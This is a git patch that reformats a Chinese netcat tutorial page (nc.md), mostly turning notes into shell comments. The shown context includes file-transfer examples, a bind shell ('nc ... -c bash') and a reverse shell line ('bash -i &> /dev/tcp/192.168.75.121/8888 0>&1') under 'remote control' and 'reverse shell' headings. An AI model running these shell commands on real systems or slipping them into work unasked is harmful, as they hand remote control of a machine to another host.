From 8a152e33e5a8600066373f5d2ba57affd313c26c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Tue, 30 Aug 2022 14:25:22 +0800 Subject: [PATCH] Update nc.md (#409) --- command/nc.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/command/nc.md b/command/nc.md index 016e9a53f4..64a8ee517f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -76,19 +76,18 @@ nc -lp 8888 > node.tar.gz # 传输方发文件: nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意:192.168.75.121是接收方的ip地址。 +# ⚠️ 注意:192.168.75.121是接收方的ip地址。 ``` ```shell # 如果希望文件传输结束后自动退出,可以使用下面的命令: nc -lp 8888 > node.tar.gz nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意:-i 表示闲置超时时间 +# ⚠️ 注意:-i 表示闲置超时时间 ``` **远程控制** + ```shell # 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。 # 被控制端执行下面的命令: @@ -106,10 +105,13 @@ nc 192.168.75.121 8888 -c bash ``` **反弹shell** + ```shell # 控制端执行下面的命令: nc -lvnp 8888 +``` +``` # 被控端执行下面的命令: bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 ```